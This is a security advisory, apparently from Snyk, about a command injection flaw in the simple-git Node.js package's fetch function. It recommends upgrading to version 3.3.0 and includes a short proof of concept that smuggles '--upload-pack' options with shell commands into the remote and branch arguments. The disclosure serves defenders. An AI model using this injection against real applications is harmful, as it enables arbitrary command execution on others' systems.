Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade simple-git
to version 3.3.0 or higher.
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Command Injection via argument injection. When calling the .fetch(remote, branch, handlerFn)
function, both the remote
and branch
parameters are passed to the git fetch
subcommand. By injecting some git options it was possible to get arbitrary command execution.
// npm i simple-git
const simpleGit = require('simple-git');
const git = simpleGit();
let callback = () => {};
git.init(); // or git init
let origin1 = 'origin';
let ref1 = "--upload-pack=touch ./HELLO1;";
git.fetch(origin1, ref1, callback); // git [ 'fetch', 'origin', '--upload-pack=touch ./HELLO1;' ]
let origin2 = "--upload-pack=touch ./HELLO2;";
let ref2 = "foo";
git.fetch(origin2, ref2, callback); // git [ 'fetch', '--upload-pack=touch ./HELLO2;', 'foo' ]
let origin3 = 'origin';
let ref3 = "--upload-pack=touch ./HELLO3;";
git.fetch(origin3, ref3, { '--depth': '2' }, callback); // git [ 'fetch', '--depth=2', 'origin', '--upload-pack=touch ./HELLO3;' ]
// ls -la